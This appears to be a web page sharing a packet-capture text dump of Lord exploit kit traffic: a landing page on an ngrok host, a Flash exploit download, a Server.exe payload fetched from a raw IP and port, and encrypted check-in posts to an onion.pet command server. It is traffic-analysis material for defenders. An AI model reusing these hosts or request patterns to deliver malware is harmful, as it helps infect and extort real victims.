Text Example

Lord Exploit Kit Exploiting Flash Vulnerability Delivering Eris Ransomware PCAP File Download Traffic Sample

2019-08-02 10:46:29.501586 IP 10.8.2.101.49160 > 3.14.212.173.80: Flags [P.], seq 1:326, ack 1, win 64240, length 325: HTTP: GET /?Jm5Y8u9PbIbEe7ixQSNsYv3ZAMQOXJ1MNlWYeXp4OcS42lGGsTC1nrxn7Bs2nqx3 HTTP/1.1
E..m.y@…..
..e…….PM….Hg.P…….GET /?Jm5Y8u9PbIbEe7ixQSNsYv3ZAMQOXJ1MNlWYeXp4OcS42lGGsTC1nrxn7Bs2nqx3 HTTP/1.1
Accept: text/html, application/xhtml+xml, /
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
DNT: 1
Connection: Keep-Alive
Host: 57189bbb.ngrok.io

2019-08-02 10:46:29.501716 IP 3.14.212.173.80 > 10.8.2.101.49160: Flags [.], ack 326, win 64240, length 0
E..(……U…..
..e.P…Hg.M..$P…l…
2019-08-02 10:46:29.666953 IP 3.14.212.173.80 > 10.8.2.101.49160: Flags [.], seq 1:1461, ack 326, win 64240, length 1460: HTTP: HTTP/1.1 200 OK
E………PB….
..e.P…Hg.M..$P…….HTTP/1.1 200 OK
Date: Fri, 02 Aug 2019 14:46:29 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked

4e91




2019-08-02 10:46:31.239216 IP 10.8.2.101.49160 > 3.14.212.173.80: Flags [.], ack 21872, win 64240, length 0
E..(..@…..
..e…….PM….H.tP…….
2019-08-02 10:46:31.297932 IP 10.8.2.101.49160 > 3.14.212.173.80: Flags [P.], seq 1799:2571, ack 21872, win 64240, length 772: HTTP: GET /?jS3YdHCaSi9dJ.swf HTTP/1.1
E..,..@…..
..e…….PM….H.tP…OC..GET /?jS3YdHCaSi9dJ.swf HTTP/1.1
Accept: /
Accept-Language: en-US
Referer: http://57189bbb.ngrok.io/?Jm5Y8u9PbIbEe7ixQSNsYv3ZAMQOXJ1MNlWYeXp4OcS42lGGsTC1nrxn7Bs2nqx3
x-flash-version: 28,0,0,161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 57189bbb.ngrok.io
DNT: 1
Connection: Keep-Alive
Cookie: session=MTU2NDc1NzE5MHxEdi1CQkFFQ180SUFBUkFCRUFBQV82UF9nZ0FFQm5OMGNtbHVad3dGQUFORFZrVUdjM1J5YVc1bkRBOEFEVU5XUlMweU1ERTRMVFE0TnpnR2MzUnlhVzVuREFVQUEweE9Td1p6ZEhKcGJtY01KZ0FrYUhSMGNEb3ZMemd4TGpFM01TNHpNUzR5TkRjNk5EVTJOeTlUWlhKMlpYSXVaWGhsQm5OMGNtbHVad3dGQUFORldGUUdjM1J5YVc1bkRBVUFBMU5YUmdaemRISnBibWNNQlFBRFEwWkhCbk4wY21sdVp3d0pBQWRGV0ZCTVQwbFV8UvNtvJ8thZ9a7XPixQ5K3TO4K2XLuH7VZ0nrU5jUKqU=

2019-08-02 10:46:31.298032 IP 3.14.212.173.80 > 10.8.2.101.49160: Flags [.], ack 2571, win 64240, length 0
E..(……U…..
..e.P…H.tM…P…….
2019-08-02 10:46:31.441240 IP 3.14.212.173.80 > 10.8.2.101.49160: Flags [.], seq 21872:23332, ack 2571, win 64240, length 1460: HTTP: HTTP/1.1 200 OK
E………P…..
..e.P…H.tM…P…+…HTTP/1.1 200 OK
Content-Type: application/x-shockwave-flash
Date: Fri, 02 Aug 2019 14:46:30 GMT
Transfer-Encoding: chunked

2475
FWS$u$..x……p…..D………..application/x-shockwave-flashAdobe Flex 4 Applicationhttp://www.adobe.com/products/flexujwkgkcujwkgkcENSep 15, 2014.D…<.C….Z
………..Z……….e….

2019-08-02 10:47:11.656373 IP 10.8.2.101.49175 > 3.14.212.173.80: Flags [P.], seq 1:724, ack 1, win 64240, length 723: HTTP: GET /?Jm5Y8u9PbIbEe7ixQSNsYv3ZAMQOXJ1MNlWYeXp4OcS42lGGsTC1nrxn7Bs2nqx3 HTTP/1.1
E…..@…..
..e…….PjTPv….P…>…GET /?Jm5Y8u9PbIbEe7ixQSNsYv3ZAMQOXJ1MNlWYeXp4OcS42lGGsTC1nrxn7Bs2nqx3 HTTP/1.1
Accept: text/html, application/xhtml+xml, /
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: 57189bbb.ngrok.io
DNT: 1
Connection: Keep-Alive
Cookie: session=MTU2NDc1NzE5MHxEdi1CQkFFQ180SUFBUkFCRUFBQV82UF9nZ0FFQm5OMGNtbHVad3dGQUFORFZrVUdjM1J5YVc1bkRBOEFEVU5XUlMweU1ERTRMVFE0TnpnR2MzUnlhVzVuREFVQUEweE9Td1p6ZEhKcGJtY01KZ0FrYUhSMGNEb3ZMemd4TGpFM01TNHpNUzR5TkRjNk5EVTJOeTlUWlhKMlpYSXVaWGhsQm5OMGNtbHVad3dGQUFORldGUUdjM1J5YVc1bkRBVUFBMU5YUmdaemRISnBibWNNQlFBRFEwWkhCbk4wY21sdVp3d0pBQWRGV0ZCTVQwbFV8UvNtvJ8thZ9a7XPixQ5K3TO4K2XLuH7VZ0nrU5jUKqU=

2019-08-02 10:47:11.656449 IP 3.14.212.173.80 > 10.8.2.101.49175: Flags [.], ack 724, win 64240, length 0
E..(.R….PV….
..e.P……jTSIP….a..
2019-08-02 10:47:11.842604 IP 3.14.212.173.80 > 10.8.2.101.49175: Flags [P.], seq 1:189, ack 724, win 64240, length 188: HTTP: HTTP/1.1 302 Found
E….T….O…..
..e.P……jTSIP…I…HTTP/1.1 302 Found
Content-Type: text/html; charset=utf-8
Location: http://google.com
Date: Fri, 02 Aug 2019 14:47:11 GMT
Content-Length: 40

Found.

2019-08-02 10:46:31.800847 IP 10.8.2.101.49164 > 81.171.31.247.4567: Flags [P.], seq 1:133, ack 1, win 64240, length 132
E…..@…{.
..eQ……….`.2.”P….+..GET /Server.exe HTTP/1.1
User-Agent: wininet
Host: 81.171.31.247:4567
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache

2019-08-02 10:46:31.800983 IP 81.171.31.247.4567 > 10.8.2.101.49164: Flags [.], ack 133, win 64240, length 0
E..(……..Q…
..e…..2.”….P…G…
2019-08-02 10:46:31.977210 IP 81.171.31.247.4567 > 10.8.2.101.49164: Flags [P.], seq 1:326, ack 133, win 64240, length 325
E..m……..Q…
..e…..2.”….P…….HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 1803776
Accept-Ranges: bytes
Server: HFS 2.3m
Set-Cookie: HFS_SID_=0.176216669380665; path=/; HttpOnly
ETag: 60A4822263437E51F0D4844D638C4DFA
Last-Modified: Fri, 02 Aug 2019 12:38:10 GMT
Content-Disposition: attachment; filename=”Server.exe”;

2019-08-02 10:46:34.864608 IP 81.171.31.247.4567 > 10.8.2.101.49164: Flags [.], seq 601786:603246, ack 133, win 64240, length 1460
E………..Q…
..e…..;……P……..l..Sam9..".P.s...Y.\.D3....rU......}ZZs.>.….h.(…ax….2.9…Y..A… …….-…..,..|..X.s.@. .. ].....+<.%.p!.q.DD..I..,...x.5.XL..+D... a\....iN.e.L P.B.#%p………..Cg…e…J.i.>…..t….B…..% …..K……l..2…..X.L..9.A…..U.z.$4E1..1..#?.%..I(…C..……K..x…….ax|’S.....<.6.T...e........Q:D.....e..w.....O..g".(.....J.....c…/….$,#GL..I.,.’P..9.;..uC. ….@kB.. E..p.g(0’Hu.=…….. &P..I}………….!g…n..$.(.i….,@5i.dD…..5..}..cm$#.R.. …{..L.?4…3……@Qe…b…g…N..!C….D..M.F…v.0. S.Z….. …..E=. …F.]…M.L..&.4..5..)..f.M.yE.X.h…..SP…;…….Er..?…,…..N..~?T’Q..;..hA)…”….E…-…….B^….KR.H. ..Z..M…..L8………G..8.p.S..[………0.~~….h….:.u3..U)A.H……p!..4D9.z@h.BG.V..Z-…I.,.. .p….[j…..9..i….<.=..8I….R.~. ..e..m0]..4/..0…..#….Yu….E….I…N.Y.4……..J… E.J.[).(-..QD..n..Ko…,W..>=.+610..M.=(Y/fk.Ys…f…,)……3 z@.V..)..)……..!.-9Z..O.1….u.C..Y…f{….5….J…..F…Y..8…^. .A……….#…….7/.cW………….n…L..K……...b..t.;.p..T....\.,....(,.*..y..9./..Mli.c...[...$G^.f...(..XOo...k....X.A;.1: P...mNqB....=..e... ....s..: ...'.%[.T..|7.pUG…6…..P.u…..1(ob(.!{……T..L….Tz……..I……Y….I….V..tMT..G;.k..5t.a.I.|X P:AC’.G.[..c…j…….W…u…..!2e.@…A..0Pnk…RI.8….i….
O.[……
x|u..&.@+<..T.k@D.T,…….6@.r.,.7.>..DHc….J.uB….%.Z.B…t.(4…A…X7…….@q].…B[D…cU… 2019-08-02 10:46:34.864636 IP 81.171.31.247.4567 > 10.8.2.101.49164: Flags [.], seq 603246:604706, ack 133, win 64240, length 1460 E………..Q… ..e…..;……P………. 54+0………L>……7Z…..%..m..Aj…I.TB..BM……L.p…. [.. …….m….1.jc…..|)J………n…k.S.y…..a.f..#,…..~.$..G.y.*2+.G.....S.z$E..~l....4P....U.LD.0X.\.C!.\> WRl......Xr...,... ..i..4J....UEHX_....R...H$.... BP..8.M$.o..0TEH_'...U....l...ri&..l…e…”$,b….j..” .L….[.. ……[F..l.K………^..T.2…D”.?.a!B…i…
/A.&7.EPG..a.B 8….* ..D:….A…&..s$ ..’. /...0).W.2...t*..E..3Z.)..7..8B...".5..1.8.*%L1....v..A.`.5.EIX......\P..<...@.t@...QC.u8 ..C.K..t0.0..M..V.rm...) ......G#...X.iv_.)+/<..u.%I.x.p....!,yQ/..R0.G..`...60.$Q.@N.....1y.;.. .4.....j...L.Cb.,.~2.......$;t.Q...w..@...!.d...*K.@f..[:.A..V..7.........A..... ...[...BJ.#....p.....Z 5_.4.2$........ttpP..W."s....w.S.. .y.Y36.xK.......:.\.....-.....7*.... .....!p.:!...R.i#,....92.d.C.......x...".......d.V..u....),"%.h]...a0..D....\..)..@aSS!t.4..V.(..04......[...IR@..H.!.F. .k]X.?.9..$...g.R.....-.3(.I...1 ..#&.@...i...b.B\%/.6.C..g...n..tEC6.>....t.A..t.fW........ockdC.Q.f bk...5.....?s..<.<....:..eJ_.9u.,.l.R..L...3.....Q..P.\.&..EX........OJ......e$3$...v|..3.hT..&._.-..,Q..m......e.. ..Z.L..m.ziv..X......o.7..5)=ls./;s..4ia...{QKD9.}R$ (.4..f.......Q..@.C..$M,...!....R#.. `_.....4[0..d )~......wH.6.$.S<,....C...,.y.gllll........M.P.3..). ..H....EZ.o {.$..T1...u..............$......C......M..A?.l..kO.QcK.C..S........ .#.$...?.(.0.s({.p..H.QB.....L.A.........B.<.5UCa.T.k$.k..C.=diMY...!Enq.h.GH1...,.\H"...u*.Q)....|.,......L....c.. M.E. 2019-08-02 10:46:34.864652 IP 81.171.31.247.4567 > 10.8.2.101.49164: Flags [.], seq 604706:606166, ack 133, win 64240, length 1460 E...........Q... ..e.....;.C....P.......q.Y,2,\..$..Dl...@6.P.......*T...u.+L....E.0.(...(..(.".... . )...X.H......`Z!`=.....M.M,..ahI\.. .]. #P.Yw...0... j .jPs...j9......8"P...S..4..\.>..W.......h...M.l.I.B.=...*i..8l..L.4..b'. .u. P..-.2 .o0...:...#p.........@....(..tg:%C...H.mZ.....!(.C.....$al_..`j....gD....H........ ..5,RL,1.-tW..pX. .... ]..."$`...!.k...p.3 L$g.6...A..=..r-._,..`...!.B.....!.bR.....pH.{.P...........C.....!t...F.X.......b.`1......A..`.)E.P....*e...,...\..w..4.]..<".H.#.Z.A4/.....0t...?yu.=...i.....m...;..A...u..r.E.......)....M..]'rH.jY $ ..%.$....-6..z E....m..#....u....4..&P.4......zO...../...(dk...\8Y.+..0%L..."...K<0<V.P3.8&.C.....iy<..!J.#.........7X ..M"..........?ghAl@ _.G.....b...q/2!y.,.........U.uI.5%h..ex, F..F..,.).jC. …4_LS..W..1j.?8+..)…J….-,.d……t@.q.. .P…….&.l..c<.05C..@…IP..i..n….,…,…tG..Y…..k2l..a. .9……hRQ{….q.{DHr..49......{D]I...w<....re.w ..9………….$..:…P..A..sV.C..T!…..7.|m..T_.U…..B…+e5B2.@.X…lDY..r.9!R?tJY2!.......dC.+n!s...... f.....&W..!...H!..4~~...L.w......R..L ..#....^0..4.h.<......\.$..Jq).( W..%T0D9.M..2@<.O..._.|4L....q...H. .>\F.._.....?("Jb.......$1...)y>a..,.......aM.....:.H.8B...a4;....V .....i x...W...:.i)%.VL.f@..C.W,.....W..Q=y..(....G..\2W..L...........*]b..q#...%2"..L...Hq...\..U ...K.$Cw.(b../Gh.XW.q..[.k%.A.W..0.&.".q)h.E<W................).#8.$2T0.I.FJ.A .{j.D".A.......8"6_L.O..>Pu/7u'bX.O.u!.....T.1.%w.:;].J........KRL.0...Ll....H(..X.I.. a..)..).H..l..w.k 2019-08-02 10:46:34.864666 IP 81.171.31.247.4567 > 10.8.2.101.49164: Flags [.], seq 606166:607626, ack 133, win 64240, length 1460 E...........Q... ..e.....;......P........%....0X.......y........S..@/........UA[HP[_.6kQ.h...4.<&.%.._..}\ ...._.>.,.[[<......XD.]F.N..... ........M.L..|...p ...y...Z...)...........A..{.....k[..X.i..v..i.v./...........….$. .E.8..F..I….H…..L…l..i…Y…..O.tK.D..Z..z.RF..RH.|C…0../.i…8%…%a., !’… .&…….u.D...!..h.Hh.8%..i.x…..B.5;.Q…..c$X.hY..@s=..13.0….yu.0.X..$k……J.~a…Z..>………8..$…Wi…..sX..`7.q.T.....C"pZR2E&.7#.OK.J...6. h....;..\$...$.....a..9.....L..qJ...n.H..._...<-..M[.6.....>L%....WdHg...d....^.|...&.b....]..s8...c.!qE.H....4.....W..)|...-Qg.F.(.>%...].{.n.Z.....a.e.........%Z7.v9..> 5P…..N ….D…’…1.0.0…#E…...].<..3?8….H’].L….B….8..N.RM^..)…..$p.u-……]. .7.- .@.H….c.@….7….6..6#..u…….@…V,B#-#q..:B…P.5E.P Z……..CJ..TR.x.T.x…y…..ki……….xg.x…….).P…..m.)2p.).C..5..1.~…Y..….2.”. ……E.8..|.+….9..….@.HTTP.%m.i../t5. .X.?.$.p3….W…….%l../G…d…#=..C.i…..……P9T…..;…ep.+..?…..?.p<.fP$..y..i..=.b…..Og..m….Ci..}..G.{.J!..,%.c.)..X….|.wz….G..BC…[..u.Q.A….pN….0..a…&..SB..B…I…..\Z( ….V…Iw…9j=.NDxi..$…….yk….8….a.P…5. Jx…..w!TI..0.gv..$t…..+…$…-.2’…Bt…!….E….n.H.k.. …..$……..P.#…Y..^@.j”/gHp…..j..R)z.(%-s……u.p..W.e@…^.(M ..0I…o?d\5.c…BB.@ .|d..G..*.7,..q.z!..s.l… .VD....u.0....#,...c4A..C..( ..u-..,7....%.'.j...K.(5PS_..N..9..Q...$y..t8..C ).=<.\...9.T....Yt.().!RpK..Ppy…..

2019-08-02 10:46:41.513341 IP 10.8.2.101.49168 > 198.251.80.48.80: Flags [P.], seq 1:304, ack 1, win 64240, length 303: HTTP: POST /api/v1/check HTTP/1.1
E..W..@…..
..e..P0…P..%..>C.P….K..POST /api/v1/check HTTP/1.1
Host: evilnnwzczbcbi4edpi4tx3khwbnty3obfhemd5i5gbyci3hxx3k5pad.onion.pet
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Length: 26
Accept-Encoding: gzip

{“uid”:”d708005f8b8c91d1″}
2019-08-02 10:46:50.050263 IP 198.251.80.48.80 > 10.8.2.101.49168: Flags [P.], seq 1:466, ack 304, win 64240, length 465: HTTP: HTTP/1.1 200 OK
E….I……..P0
..e.P…>C…&0P…q|..HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Fri, 02 Aug 2019 14:46:49 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 25
Connection: keep-alive
Set-Cookie: PHPSESSID=2ri00afk3bqb48pn4fg6sde643; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
cache-control: no-cache, no-store, must-revalidate
pragma: no-cache
expires: 0

{“response”:””,”code”:0}

2019-08-02 10:46:50.050886 IP 10.8.2.101.49168 > 198.251.80.48.80: Flags [.], seq 304:1764, ack 466, win 63775, length 1460: HTTP: POST /api/v1/sync HTTP/1.1
E…..@…..
..e..P0…P..&0.>E.P…….POST /api/v1/sync HTTP/1.1
Host: evilnnwzczbcbi4edpi4tx3khwbnty3obfhemd5i5gbyci3hxx3k5pad.onion.pet
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Length: 1844
Accept-Encoding: gzip

..6….U..!..,b.)..P...:.bao)..dW,......u._...mF...Ht..f2!d.._...Q!-P.....4.Ka".X../....)...A}.k.p.T.R(..5.....$.p.?..V.....uH........6.|"N.g...a@~w!.stwW.....K[C..8..-m..=.H*..#'0......…&..4..s..[9X:….6..g..u.
…2.X/&….h1.@I.E^’..~..z.......F5~..,.3p...$-l}.W..4? ...}7L...*|..s.(vr_.9……ys3.BH….”{Kt…L.N.Y….\3…..”Q….,2tP….k…….1…d$..#h…….<.S.r6.N_7…!’……b…H[.Lm.u.,.G..dRWPEX1.U……..i2..Z)o……I.n…/..)..C.Q……2.F[.{V…..*kQ. ^D….D…U….KI{.f.B…v…..?)….y…. ……7.z.Kq..Z.SF….k.yg”T….-…..Z.x.(…%igr.A …K.f…..D…..;.K……<.]…….C.8.0.l(B………p>-.u..~.GB..C..s.jJu.]..<.m..OgM….g..u……….5E.A……i:>……O..Rp..#?..M%...{....4@6...@.(.O....Rv.1.f{….y..Q../TB…L.SE..X.:t….J..LG}…D.Uu……….^.!.o.Qdy..3,Y…^.9…b…..9..X..Tj.
.i$f.1….A..E………1.S…j….R….5Wr…avO…..v..w2./…]3.W.>}l.1.x..3….0.<}…{“…r6);.$………..f/’…C.i.X>..s.<..B..J.fO.A.~&...H#..[.....9.8vA{....2e...T<..4Q.s. ..a)u]x|....e.\.3.h...eD.......}.M.18......U.a,E..$……..o.T.jH.dlS..SIw.4…..H…,C…7.+….j…….e.n.x..>qL.z..=.8.mly.(…oo.”……r…UK…?.4.$v.X.V
2019-08-02 10:46:50.050909 IP 10.8.2.101.49168 > 198.251.80.48.80: Flags [P.], seq 1764:2426, ack 466, win 63775, length 662: HTTP
E…..@…..
..e..P0…P..+..>E.P….~….
9`..c#.....M...>.......%...7.).....Q.._Cwj-..U..PA..Ru..^.q....0.....t"........r.g..C.n.v...o.?...gw.....}......V|....B~........._..^.l...}B..z.. -.eP.....!.r.Y.....&..^. ........sr...X.....V...'..o.........o...-v..:.G...:...../.."...&j.p..B50n+"..z......a.c.K...t.9..d.W..hc... .'....F.A._o.'^Ev....d...%.j..}.. .........V...sK....Y.........Z.c...]8..H..Vak...~Uk...*.R....}.T...$..J....Usey U..X>....a.....,..8.S..[^....q.c..>w........gi....d..LE.d......("a.. .g..HV.8\...re4. -/+?T.-C..3...a(....6.3...Z...lh.....!N(4...Pb_.}.......S.qY?...U...X...r..8... o...7..K........Gq:W..0.. ..A….`~…a8.
.,g……._&4.N….h…C.<.0..#…..}EQ.\9…….m…bT. 2019-08-02 10:46:50.050978 IP 198.251.80.48.80 > 10.8.2.101.49168: Flags [.], ack 1764, win 64240, length 0
E..(.J……..P0
..e.P…>E…+.P….f..
2019-08-02 10:46:50.051038 IP 198.251.80.48.80 > 10.8.2.101.49168: Flags [.], ack 2426, win 64240, length 0
E..(.K……..P0
..e.P…>E….zP…….
2019-08-02 10:46:58.858491 IP 198.251.80.48.80 > 10.8.2.101.49168: Flags [P.], seq 466:931, ack 2426, win 64240, length 465: HTTP: HTTP/1.1 200 OK
E….N……..P0
..e.P…>E….zP…W…HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Fri, 02 Aug 2019 14:46:58 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 25
Connection: keep-alive
Set-Cookie: PHPSESSID=s59ap5rdus4stk4ds1i5hfsmh1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
cache-control: no-cache, no-store, must-revalidate
pragma: no-cache

Leave a Reply